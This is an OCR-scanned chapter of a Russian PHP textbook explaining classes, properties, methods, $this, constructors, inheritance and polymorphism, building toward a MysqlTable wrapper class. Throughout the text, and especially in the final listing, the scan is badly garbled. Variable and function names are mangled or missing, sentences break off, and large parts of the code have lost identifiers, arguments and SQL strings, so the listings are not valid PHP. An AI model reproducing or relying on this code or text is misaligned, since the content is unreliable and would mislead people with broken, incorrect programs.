Мы можем представить несколько объектов одного и того же типа как братьев- близнецов: у них все одинаково с "физиологической" точки зрения (одни и те же имена свойств), но на самом деле это совершенно разные "люди" — у них разные взгляды, различный образ жизни (свойства содержат разные значения).

Объект класса может напрямую обращаться к своим свойствам, считывать их или записывать. Еще раз: каждый объект одного и того же класса имеет свой собственный набор значений свойств, и они не пересекаются. Таким образом. объект класса со стороны представляется контейнером, хранящим свои свойства.

Объявление свойств задается при помощи ключевого слова var:

var SpNamel, $pname2, . ..;

Мы видим, что каждое свойство должно иметь уникальное имя в классе. Инструкций var может быть несколько, и они могут встречаться в любом месте описания класса, а не только в его начале.

Займемся теперь вопросом о том, как нам из программы получить доступ к какому-то свойству определенного объекта (например, объекта SObj, который мы только что создали). Это делается очень просто при помощи операции ->:

// Выводим в браузер значение свойства Namel объекта $0bj

echo $Obj->Namel;

// Присваиваем значение свойству

$0bj->Name2-"PHP Four";

Если какое-то свойство (например, с именем Subobj) объекта само является объектом (что вполне допустимо), нужно использовать две "стрелочки":

// Выводим значение свойства Property объекта-свойства

// SSubOb] объекта SOb]

echo $Obj->SubObj->Property;

Такой синтаксис был придуман из того расчета, чтобы быть максимально простым. Добавлю, что указание объекта $obj перед стрелкой обязательно по той причине, что каждый объект имеет свой собственный набор свойств.

Поэтому-то они и не пересекаются при хранении, а при доступе нужно уточнить объект, свойство которого запрашивается.

Впрочем, в данном простом примере объект ничем не лучше обычного ассоциативного массива — ведь мы просто используем его как контейнер для хранения свойств. Поэтому давайте поговорим о более существенном отличии — методах класса.

Методы

Основная идея ООП — инкапсуляция — базируется на объединении данных (свойств) объекта с функциями, которые эти данные обрабатывают. В самом деле, почему это мы привыкли разграничивать информацию и методы ее обработки? Разве, в конце концов, эти методы сами не являются информацией? Зачем же разделять неразделимые сущности?..

Фактически, свойства хранят в себе состояние объекта в данный момент времени, тогда как методы (функции обработки) являются чем-то вроде механизма посылки запроса экземпляру класса (объекту). Например, в классе таблицы MySQL, которую мы с вами вскоре напишем, может быть довольно большой набор методов. Самый простой из них — DropО, заставляющий таблицу очистить и удалить себя из базы данных. Вызов этого метода из программы происходит примерно так:

$Obj->Drop(); // таблица $0bj удаляет сама себя!

Конечно, у методов, как и у обычных функций, могут быть параметры. К примеру, метод Add о того же класса (добавление новой записи в таблицу) принимает только один параметр — ассоциативный массив, содержащий данные, а метод select о (получить все записи, удовлетворяющие запросу) использует три параметра — логическое выражение запроса, максимальное количество получаемых записей и правила сортировки результата. Он возвращает массив с результирующими записями.

Класс таблицы MySQL

Пожалуй, я слишком далеко заглянул в будущее. Вернемся назад к основам. Чтобы определить метод внутри класса, используется следующий синтаксис:

class MyClass (

function Method(параметры)

}

Давайте будем потихоньку набрасывать план нашего класса MySQL- таблицы. Во первых, зададимся вопросом: зачем нам вообще это нужно? Почему бы не пользоваться обычными функциями для работы с MySQL? Ответ не вполне очевиден, поэтому оставим его на потом. А пока будем считать, что такой класс нам необходим (а он действительно необходим, т. к. значительно упрощает работу с базой данных).

Во-вторых, сформулируем правило: обращаться к какой-то таблице MySQL только посредством нашего класса, а точнее, объекта этого класса, связанного с таблицей. Как же его связать? Очевидно, объект должен содержать имя таблицы, к которой он "привязан". Так как в программе могут использоваться одновременно несколько таблиц и несколько объектов, то, наверное, логично это самое имя хранить в виде свойства.

Что бы еще хотелось знать об объекте-таблице? Конечно, имена и типы ее полей. Поместим их в свойство-массив. Наконец, в процессе работы наверняка иногда будут возникать ошибки. Чтобы как-то сигнализировать о них, предлагаю в класс-таблицу ввести еще одно свойство — Error. Оно будет равно нулю, если предыдущая операция (например, добавление записи) прошла успешно, и тексту ошибки — в противном случае.

Вот что у нас пока получилось:

class MysqlTable (

var $TableName; // Имя таблицы в базе данных

var $FieIds; // Массив полей. Ключ — имя поля, значение — его тип

var $Error; // Индикатор ошибки

)

Согласитесь, это почти все данные, которые должны храниться в объекте- таблице. Все остальное (например, записи) находится в базе данных. Нам нужно научиться каким-то образом легко извлекать и добавлять (а также удалять, подсчитывать и обновлять) эти записи путем простых запросов к объекту-таблице. Для этого я предлагаю написать соответствующие методы (листинг 31.1).

Примечание

Пока мы не будем расписывать код методов. Взамен просто обозначим его словом "команды" в тексте программы. Вообще говоря, такой способ проектирования, когда сначала решают, какие методы нам нужны, а потом начинают продумывать их код, довольно типичен для ООП.

Листинг31.1. Эскиз класса таблицы

class MysqlTable {

var $TableName; // Имя таблицы в базе данных

var' ^Fields; // Массив полей. Ключ — имя поля, значение — его тип var $Error; // Индикатор ошибки

// Добавляет в таблицу запись $Rec. $Rec должна представлять из себя

// обычный ассоциативный массив. В будущем мы придем к тому, что

// массив $Rec будет представлен даже древовидной структурой,

// т. e. будет иметь подмассивы.

// Как вы понимаете, непосредственной поддержки этого в MySQL нет, //номы "ее" реализуем.

function Add($Rec) { команды; }

// Возвращает массив записей (ключ — id записи, значение -

/'/ ассоциативный массив, в точности такой же, какой был помещен

// некогда в таблицу при помощи Add) , удовлетворяющих выражению

// SExpr. Возвращаются только первые $Num (или менее) записей.

// Сортировка осуществляется в соответствии с критерием SOrder.

function Select($Expr,$Num=lelO,$Order="id desc") { команды; }

// Удаляет из таблицы все записи, удовлетворяющие выражению $Expr. function Delete($Expr) { команды; }

// Удаляет из таблицы все записи (например, при помощи вызова

// Delete("1=1") и удаляет саму таблицу из базы данных. Этот

// метод довольно опасен!

function DropO { команды; }

Пока, пожалуй, хватит. Я не буду здесь углубляться в то, как устроен каждый из названных методов. Этим мы займемся в свое время. А пока обратите внимание на то, что мы попытались определить все операции, которые вообще применимы к таблице MySQL (на самом деле, это далеко не полный их перечень, но пока нам и такого количества вполне достаточно). Это очень важно, потому что потом, когда будем использовать объекты класса MysqlTable, мы сможем вообще забыть, что такое MySQL и язык запросов SQL, или поручить разработку программы, обращающейся к MysqiTabie, человеку, не разбирающемуся в SQL.

Вообще говоря, это один из самых главных приемов ООП (структурного программирования — в меньшей степени) — постоянно размышлять, как бы нам сделать так, чтобы потом можно было побольше "забыть". Работает принцип: если вы используете какой-то класс и не догадываетесь, как он реализован, причем это вам нисколько не мешает, значит, класс хорош. И наоборот. Впрочем, совсем абстрагироваться от SQL нам все же не удастся — все-таки нужно знать правила составления выражений для выборки и удаления записей, для их сортировки и т. д. Но это уже не SQL, а что-то гораздо более простое и интуитивно понятное.

Доступ объекта ксвоимсвойствам

Как ни странно, но при изучении ООП "с нуля" программисты, привыкшие к структурному программированию, часто с трудом понимают, каким образом объект может добраться до своих собственных свойств. Рассмотрим, например, такую программу:

$0bjl=new Mysqltable;

$Obj2=new MysqlTable;

echo $Objl->TableName, " ", $Obj2->TableName;

Здесь никаких проблем не возникает — ясно, что выводятся свойства разных объектов — мы же сами указали их до стрелки. Однако давайте посмотрим, что будет, если вызвать какой-нибудь метод одного из объектов:

$Objl->Drop();

Как видите, при вызове метода так же, как и при доступе к свойству, нужно указать объект, который должен "откликнуться на запрос". Действительно, этой командой мы удаляем из базы данных таблицу $Objl, а не $Obj2. Рассмотрим теперь тело метода Drop 0:

class MysqlTable {

function Drop ()

{ сюда интерпретатор попадет, когда вызовется Drop ( ) для какого-то объекта

По логике, Drop о — функция. Эта функция, конечно, едина для всех объектов класса MysqlTable. Но как же метод Drop о узнает, для какого объекта он был вызван? Ведь мы не можем Drop о для 50b jl сделать одним, а для $0bj2 — другим, иначе нарушился бы весь смысл нашей объектной ориентированности. В том-то вся и соль, что два различных объекта-таблицы являются объектами одного и того же класса...

Оказывается, для доступа к свойствам (и методам, т. к. один метод вполне может вызывать другой) внутри метода используется специальная предопределенная переменная $this, содержащая тот объект, для которого был вызван метод. Теперь мы можем определить Drop () внутри класса так:

function Drop ( )

{ // сначала удаляем все записи из таблицы

$this->Delete("1=1"); // всегда истинное выражение

затем удаляем саму таблицу table

}

Если мы вызвалио както $this будет являться тем же

объектом, чтои(этобудетссылканаа еслибымывызвали

то $this был бы равен $obj2. To есть метод всегда знает, для какого объекта он был вызван. Это настолько важно, что я повторю еще раз: метод всегда знает, для какого объекта он был вызван.

Использование ссылок говорит о том, что $this — не просто копия объекта-хозяина, это и есть хозяин. Например, если бы в мы захотели изменить какое-то свойство оно поменялось бы и у но не у или других объектов.

В синтаксисе РНР есть один просчет: запись вида

SArrayOfObjects["obj"]->DoIt();

считается синтаксически некорректной. Вместо нее применяйте следующие две команды:

Sobj=&$ArrayOfObjects["obj"]; Sobj->DoIt();

Внимание

He забудьте про & сразу после оператора присваивания (то есть создавайте ссылку на элемент массива), иначе метод будет вызван не для самого объекта, присутствующего в массиве, а для его копии, полученной в

Инициализация объекта.

Конструкторы

До сих пор мы не особенно задумывались, каким образом были созданы объекты и и к какой таблице они прикреплены. Однако вполне очевидно, что эти объекты не должны существовать сами по себе — это просто не имеет смысла. Поэтому нам, наравне с уже описанными методами, придется написать еще один — а именно, метод, который бы:

О "привязывал" только что созданный объект-таблицу к таблице в MySQL; сбрасывал индикатор ошибок;

□ заполнял свойство Fields;

О делал другую работу по инициализации объекта.

Назовем это метод, например, о :

class MysqlTable {

Привязывает объект-таблицу к таблице с именем function

{

$this->Error=0;

получаем и заполняем

I

I

$0bj=new

А вдруг между вызовами new ио случайно произойдет обращение к таблице? Или кто-то по ошибке забудет вызватьо для созданного объекта

(что обязательно случится, дайте только время)? Это приведет к непредсказуемым последствиям. Поэтому, как и положено в ООП, мы можем завести метод вместоо , который будет вызываться автоматически сразу же после

инструкции new и проводить работы по инициализации объекта. Он называется конструктором, или инициализатором. Чтобы РНР мог понять, что конструктор следует вызывать автоматически, ему (конструктору) нужно дать то же имя, что и имя класса. В нашем примере это будет выглядеть так:

MysqlTable {

function

( команды, ранее описанные в

$0bj=new//и сразу же инициализируем объект

Обратите внимание на синтаксис передачи параметров конструктору. Если бы мы случайно пропустили параметр test, PHP выдал быоб

ошибке. Таким образом, теперь в программе потенциально не могут быть созданы объекты-таблицы, ни к чему не привязанные.

Деструктор

По аналогии с конструкторами обычно рассматриваются деструкторы. Деструктор — тоже специальный метод объекта, который вызывается при уничтожении этого объекта (например, после завершения программы). Деструкторы обычно выполняют служебную работу — закрывают файлы, записывают протоколы работы, разрывают соединения, "форматируют винчестер" -- в общем, освобождают ресурсы. Киз-заРНР на выделение па

мяти, которая никогда не будет освобождена, деструкторы в нем не поддерживаются. Так что, если вам нужно выполнить нечто необычное после того, как вы перестали использовать какой-то объект, определите в нем метод, который будет это делать, и вызовите его явно.

Наследование

Создание самодостаточных объектов — довольно неплохая идея. Однако это далеко не единственная возможность ООП. Сейчас мы займемся наследованием — одним из основных понятий ООП.

Итак, пусть у нас есть некоторый класс А с определенными свойствами и методами. Но то, что этот класс делает, нас не совсем устраивает — например, пусть он выполняет большинство функций, по сути нам необходимых, но не реализует некоторых других. Зададимся целью создать новый класс в, как бы "расширяющий" возможности класса А, добавляющий ему несколько новых свойств и методов. Сделать это можно двумя принципиально различными способами. Первый выглядит примерно так:

class A {

function TestAO ( ... }

function Test () {}

}

class В {

var $a ,* // объект класса А

function В(параметры_для_А, другие_параметры)

f $a=new А(параметры_для А);

инициализируем другие поля В

}

function TestB () {}

function Test () {}

}

Поясню: в этой реализации объект класса в содержит в своем составе подобъект класса А в качестве свойства. Это свойство — лишь "частичка" объекта класса в, не более того. Подобъект не "знает", что он в действительности не самостоятелен, а содержится в классе в, поэтому не может предпринимать никаких действий, специфичных для этого класса.

Но вспомним, что мы хотели получить расширение возможностей класса А, а не нечто, содержащее объекты А. Что означает "расширение"? Лишь одно: мы бы хотели, чтобы везде, где допустима работа с объектами класса А, была допустима и работа с объектами класса в. Но в нашем примере это совсем не так.

□ Мы не видим явно, что класс в лишь расширяет возможности А, а не является отдельной сущностью.

□ Мы должны обращаться к "части А" класса в через $obj->a->TestA(), а к членам самого класса в как $obj->TestB(). Последнее может быть довольно утомительным, если, как это часто бывает, в в будет использо-

ваться очень много методов из А и гораздо меньше — из в. Кроме того, это заставляет нас постоянно помнить о внутреннем устройстве класса в.

Впрочем, такой способ расширения также иногда находит применение. Мы поговорим об этом чуть позже. А пока рассмотрим, что же представляет собой наследование (или расширение возможностей) классов.

class В extends A (

function В(параметры_для_А, другие_параметры)

{ $this->A(параметры_для_А);

инициализируем другие поля В

}

function TestB() {}

function Test () {}

}

Ключевое слово extends говорит о том, что создаваемый класс является лишь "расширением" класса А, и не более того. То есть в содержит те же самые свойства и методы, что и А, но, помимо них и еще некоторые дополнительные, "свои".

Теперь "часть А" находится прямо внутри класса в и может быть легко доступна, наравне с методами и свойствами самого класса в. Например, для объекта $obj класса в допустимы выражения $obj->TestA() и $obj->TestB() . Итак, мы видим, что, действительно, класс в является воплощением идеи "расширение функциональности класса А". Обратите также внимание: мы можем теперь забыть, что в унаследовал от А некоторые свойства или методы — снаружи все выглядит так, будто класс в реализует их самостоятельно.

Замечание }

Немного о терминологии: принято класс А называть базовым, а класс в — производным от А. Иногда базовый класс также называют суперклассом, а производный — подклассом.

Зачем может понадобиться наследование? Например, мы написали класс Mysql-таблицы и хотели бы дополнительно иметь класс Guestbook (гостевая книга). Очевидно, в классе Guestbook будет много методов, которые нужны для того же, что и методы из MysqlTable, поэтому было бы разумным сделать еГО ПРОИЗВОДНЫМ ОТ MysqiTabie:

class Guestbook extends MysqiTabie {

методы и свойства, которых нет в MysqiTabie

и которые относятся к гостевой книге

)

Многие языки программирования поддерживают множественное наследование (то есть такое, когда, скажем, класс в наследует члены не одного, а сразу нескольких классов — например, А и z). К сожалению, в РНР таких возможностей нет.

Полиморфизм

Полиморфизм (многоформенность) — это, я бы сказал, одно из интересных следствий идеи наследования. В общих словах, полиморфностъ класса — это его способность использовать функции производных от него классов, даже если на момент определения еще неизвестно, какой именно класс будет включать его в качестве базового и, тем самым, становиться от него производным.

Вернемся к нашему предыдущему примеру с классамиАИВ.

class A {

// Выводит, функция какого класса была вызвана

function Test () { echo "Test from A\n"; }

// Тестовая функция — просто переадресует на Test О

function CallO { Test (); }

}

class В extends A {

// Функция Test () для класса В

function Test () { echo "Test from B\n"; }

}

$a=new A () ;

$b=new В () ;

Давайте рассмотрим следующие команды:

$a->CallO; // напечатается "Test from A"

$b->Test.() ; // напечатается "Test from В"

$b->CallО; // Внимание! Напечатается "Test from В" !

Обратите внимание на последнюю строчку: вопреки ожиданиям, вызывается не функция Test () из класса А, а функция из класса в! Складывается впечатление, что Test о из в просто переопределила функцию Test о из А. Так оно на самом деле и есть. Функция, переопределяемая в производном классе, называется виртуальной.

Механизм виртуальных функций позволяет нам, например, "подсовывать" функциям, ожидающим объект одного класса, объект другого, производного, класса. Еще один классический пример — класс, воплощающий собой свойства геометрической фигуры, и несколько производных от него классов — квадрат, круг, треугольник и т. д. Базовый класс имеет виртуальную функцию Draw о, которая заставляет объект нарисовать самого себя. Все производные классы-фигуры, разумеется, переопределяют эту функцию (ведь каждую фи-

гуру нужно рисовать по-особому). Также у нас есть массив фигур, причем мы не знаем, каких именно. Зато, используя полиморфизм, мы можем, не задумываясь, перебрать все элементы массива и вызвать для каждого из них метод Draw () — фигура сама "решит", какого она типа и как ее рисовать.

В нашем классе MysqlTable, который мы еще только-только наметили, идея полиморфизма найдет свое применение. И вот зачем. Мы проектируем класс так, чтобы другие классы, которые он будет использовать, подключали его к себе как производный. Тем самым они наследуют все свойства MysqiTabie и добавляют некоторые свои. Например, класс Guestbook, реализующий ГОСТевуЮ КНИГУ, МОЖеТ быть ПРОИЗВОДНЫМ ОТ MysqiTabie И "расширять" его некоторыми дополнительными функциями ■' ■ например, проверкой орфографии во введенном сообщении или же контролем, имеет ли право тот или иной пользователь писать в книгу (или он "отключен" за использование ненормативной лексики). Кроме того, прежде чем помещать данные в MySQL-таблицу, наверное, разумным будет их немного "почистить" ■■ убрать лишние пробелы, HTML-тэги и т. д. Конечно, такой корректировке должны быть подвержены все поля книги. Поэтому класс MysqiTabie перед помещением очередной записи в таблицу будет вызывать виртуальную функцию PreModify(), передавая ей в параметрах запись, которая должна быть откорректирована. Естественно, в классе Guestbook эта функция должна переопределяться — так, чтобы выполнять требуемые действия по коррекции записи перед ее занесением в таблицу. Конечно, класс MysqiTabie не "знает", как именно будет переопределена PreModify() в производном от него классе, поэтому сам он содержит функцию PreModif у (), не делающую ничего (то есть с пустым телом).

Примечание

Думаю, если вы слышите об ООП впервые, это объяснение будет для вас как китайская грамота. В то же время знатоки сочтут его слишком простым, чтобы быть достойным этой книги. К сожалению, так получается всегда, когда пытаешься сжатым языком рассказать о чем-то нетривиальном. А я тем временем еще раз настоятельно рекомендую вам прочитать учебник по ООП, коим ни в коей мере не является эта книга.

Полноценный класс таблицы MySQL

Я ранее обещал, что в каждой главе части V книги обязательно будет присутствовать пример нетривиального кода на РНР, который (или идеи из которого) вы сможете использовать в своих программах. На этот раз "исходник" оказался особенно большим, но это с лихвой оправдывается его функциональностью. Сейчас мы с вами разработаем полноценный класс, который существенно облегчает работу с таблицей MySQL, в значительной степени абстрагируя программиста не только от специфики этой СУБД, но и вообще от сложностей SQL-запросов. С помощью этого класса даже начинающий программист сможет построить форум, гостевую книгу, да и во-

обще любую программу, которая требует структурированного хранилища данных большого объема. Правда, для того, чтобы извлекать максимальную выгоду из использования класса, придется разобраться в механизме наследования, вкратце описанном чуть выше. Впрочем, класс прекрасно работает и сам по себе. Вот его некоторые отличительные черты.

Кодирование и декодирование данных производится автоматически. Программисту не нужно заботиться о том, чтобы ставить слэши перед апострофами и другими специальными символами. Все, что от него требуется, — передать той или иной функции массив, представляющий собой запись.

Таблица является с точки зрения программиста набором записей совершенно произвольной структуры (с произвольным числом полей). При создании таблицы указываются лишь ее несущие поля, по которым можно в будущем вести поиск, сортировку и т. д. Все остальные поля перед помещением записи в таблицу подвергаются сериализации, а при чтении из таблицы — восстановлению, "прозрачно" для вызывающей программы.

П В то же время имеется возможность добавления/удаления несущих столбцов "на лету", т. е. без какого бы то ни было специального запроса пользователя. Достаточно изменить список несущих полей при создании/открытии таблицы. Класс сам определяет, что именно изменилось, и применяет соответствующие действия по корректировке (вызывает нужные команды SQL).

П Поддерживается одно автоинкрементное поле с именем id, которое автоматически проставляется у записи при ее добавлении в таблицу. Указывать его в списке несущих полей не надо.

П Имеется набор стандартных операций, которые можно производить с таблицей: ее создание и удаление, вставка новой записи, обновление записи, удаление записей, выборка указанного числа записей с сортировкой. Кроме того, поддерживаются дополнительные операции, такие как подсчет числа записей, удовлетворяющих запросу, и получение всех уникальных значений в указанном столбце таблицы.

П Для каждой таблицы можно хранить один дополнительный блок информации любой структуры (например, это может быть даже многомерный ассоциативный массив). Выборка и запись этого блока осуществляются методами Getlnfо() и Setinfo(). Блок информации нельзя получить никак иначе, кроме как посредством этих двух функций (он "не виден" даже для функции выборки).

П Для убыстрения работы программист может назначить для тех или иных столбцов таблицы режим индексирования (при использовании индекса MySQL тратит значительно меньше времени на поиск данных). Индексы, как и несущие поля, вставляются и удаляются автоматически при изменении параметров вызова конструктора. Помните, что хотя они и убыстряют работу, но зато занимают на диске довольно много места.

У этого класса есть один небольшой недостаток, который заставляет применять его аккуратно. Так как количества и размеры полей при вставке могут быть лю-

то злоумышленник может быстро "забить" таблицу разного рода "мусором". Например, если таблица используется как хранилище для гостевой книги, то он может видоизменить форму отправки сообщения и вставить туда какое-нибудь текстовое поле, предварительно поместив в него пару мегабайтов текста. Чтобы избежать этой потенциальной "дыры" в защите, рекомендуется перед вставкой записи в таблицу проверять, какой объем она занимает в сериализованном виде, и в случае превышения определенного числа байтов выводить предупреждение и завершать сценарий по die Думаю, читатель сам без труда добавит такую возможность в свои сценарии или же прямо в класс

Согласитесь, не так уж и мало для каких-то четырехсот строчек кода... Листинг 31.2 представляет собой исходный текст библиотеки, реализующей наш класс. Она предполагает, что соединение с уже открыто и выбрана верная база данных.

Листинг 31.2. Полноценный класс MySQL-таблицы

// MysqiTabie - "прозрачная работа" с таблицей MySQL.

// Класс MysqiTabie обычно делают базовым для какого-нибудь

// другого класса (например,и переопределяют

нужные

// Поле для храненияполейне

data

Вспомогательные функции

// Если переменная пуста, инициализирует ее function{}

// Подготавливает строку двоичных данных для помещения в таблицу. function

{;

$st=ereg_replace("\\\\","\\\\",$st);

$st=ereg_replace(,"\\'",$st);

return

}

// Упаковывает объект и превращает его в строку.

function{return}

// Распаковывает строку и создает function{ return}

/ /^..ll.**.***.***.^************-********************* It*******************

Далее идет описание класса таблицы.

// Каждая запись таблицы, помимо тех полей, которые указаны в

// конструкторе, будут иметь еще два поля - id (уникальный

// идентификатор записи) и _ data _ (упакованный массив

// всех остальныхКроме того, в запись можно вводить

// вообще произвольные поля - они тоже будут сохраняться, но по

// ним нельзя будет вести поиск (предложение

// потому что эти поля будут автоматически сериализованы при

// добавлении/изменении записи и распакованы при извлечении.

class MysqlTable {

Внутренние переменные

var// имя таблицы

var// список уникальных полей

var// для этих полей построены индексы

var $Fields;// всех физические поля таблицы

var// текст последней ошибкиесли нет)

var// 1, если таблица была создана, а не загружена

Внутренние функции

// Упаковывает поля массива в строку, за исключением тех, которые

// сами являются непосредственными полями в базе function

{

as $k=>$v) if

if(!isSet($this->Fields[$k]) ) $Data[$k]=$v; return

1

// Виртуальная функция производного класса вызывается ПЕРЕД любым

// занесением данных в таблицу (добавлении иТо есть,

// она предназначена для "прозрачной" автоматической генерации некоторых

// полей записи (например, времени ее изменения) в производном классе

// перед ее сохранением.

// Можно, к примеру, в таблице хранить какую-нибудь дату в формате

// SDN, авид", что она хранится в обычном представлении

//

// Если эта функция возвратит 0, то операция закончится с

function( return 1; }

// Виртуальныя функция вызывается ПОСЛЕ выборки записи из таблицы, а // также в конце модификации записи. То есть, она предназначена для // "прозрачной" модификации только что полученной из таблицы записи. // Возвращаясь к предыдущему примеру, мы можем при извлечении записи // из таблицы STM-поле преобразовать в "дд.мм.гггг", и "никто ничего //не заметит".

function PostSelect(4$Rec) { return; }

// Возвращает имя таблицы

function GetTableName() { return $this->TableName; }

// Возвращает результат запроса select. В дальнейшем этот результат

// (дескриптор) будет, скорее всего, обработан при помощи GetResult().

// $Expr - выражение SQL, по которому будет идти выборка

// $Order - правила сортировки (по умолчанию - по убыванию id) function TableSelectQuery($Expr="",$Order="id desc") { $this->Error="";

if(!$Expr) $Expr="l=l";

$r=mysql_query("select * from ".$this->TableName. where ($Expr) and (id>l) order by $Order");

if(!$r) { $this->Error=mysql_error() ; return; } return $r;

}

function SelectQuery($Expr="",$Order-"id desc") { return $this->TableSelectQuery($Expr,$Order) ; }

// Возвращает результат предыдущего запроса select (точнее, очередную // найденную запись) в виде распакованного (!) массива. Если

// SelectQuery() нашла несколько записей, то, последовательно вызывая

// GetResult(), можно считать их все. Метод делает всю "черную" работу

// по сериализации. Еще раз: если у результата несколько строк, то

// возвращает очередную. Если строки кончились, возвращает

// Чаще всего в вызове этой функции (и функции SelectQuery) нет

// необходимости - можно воспользоваться методом Select(), который по // запросу сразу возвращает массив со всеми обработанными результатами! function TableGetResult($r) { $this->Error="";

// Выбираем очередную строку в виде массива

if($r) $Result=mysql_fetch_array($r);

else $this->Error=mysql_error() ;

return; // Перебираем все поля таблицы и записываем их в массив $Hash $Hash=array(); as $k=>$i)

if(isSet($Result[$k])) $Hash[$k]=$Result[$k]; // Распаковываем поле с данными

$Hash+=SqlUnpack($Hash [DataField]); unSet($Hash[DataField]); $this->PostSelect($Hash); // Все сделано return $Hash;

} function{ return}

// Примечание: мы используем две функции, из которых просто является синонимом длячтобы позволить

// производному классу вызывать функциидаже если они

// переопределены в нем. К сожалению, в РНР это единственный метод // добиться

// Аналог()

function{ return}

// АналогПосле вызова этой функции указатель

// дескриптор"перескочит" на найденную запись номер $to, после

чегоее и

function{ return}

// Создает или загружает таблицу по имени'

//- список полей базы. Именно по ним в дальнейшем можно

// будет вести поиск и строить индекс. Кромев запись можно будет

// добавлять ЛЮБЫЕ другие переменные, но они будут сериализованы, а

// потом восстановлены. Форматмассив с ключами - именами

переменных и значениями - их типами. Если- не массив, то

// считается, что таблица открываетсякакой онаВ противном

// случае производится проверка: не добавились или удалились ли какие-то // поля или индексы и, если это так, то производится соответствующая // модификация таблицы (кстати, это процесс довольно

// ВНИМАНИЕ: если в таблице было какое-тосериализуется, то

будущем при добавлении этого поля коно НЕ будет

// автоматически переведено в рангто есть попросту

пропадет (и

перечисляйте вте поля, для которых вы ТОЧНО

// уверены, что они будут всегда присутствовать в базе, а также те,

// по которым нужно будет вести поиск/строить индекс/использовать // distinct.

// Index - по каким полям нужно строитьИндекс несколько

// увеличивает размер базы, но зато увеличивает скорость поиска по ней

//(точнее,потемполям,длякоторыхиспользуетсяКлючи- имена

// столбцов,значения-"размер"индекса(0,еслипо умолчанию,чточаще

// всего наиболее

function

{

{

as $k=>$v)

not null";

primary key")

+$Fields+array(DataField=>"mediumblob");

}

DefO(SIndex, array());

// Считываем из таблицы поле с ее параметрами $this->Fields=array(DataField=>"mediumblob");

$Data=$this->TableGetResult(

fromwhere

) ;

// Если таблица существует, то запрос окончится успешно.

// В этом случае нужно проверить, не изменилась ли таблица с момента

// последнего обращения, и если это так, то подкорректировать ее.

) {

{

create table: no fields return;

}

DefO($Data["Fields"], array() ) ;

DefO($Data["Index"],array()) ;

//** Возможно, что-тоТогда выполняем alter table.

Добавились поля?

$Lst=array();

as $k=>$v) {

if(!isSet($Data["Fields"][$k]) ) $Lst[]="add $k $v";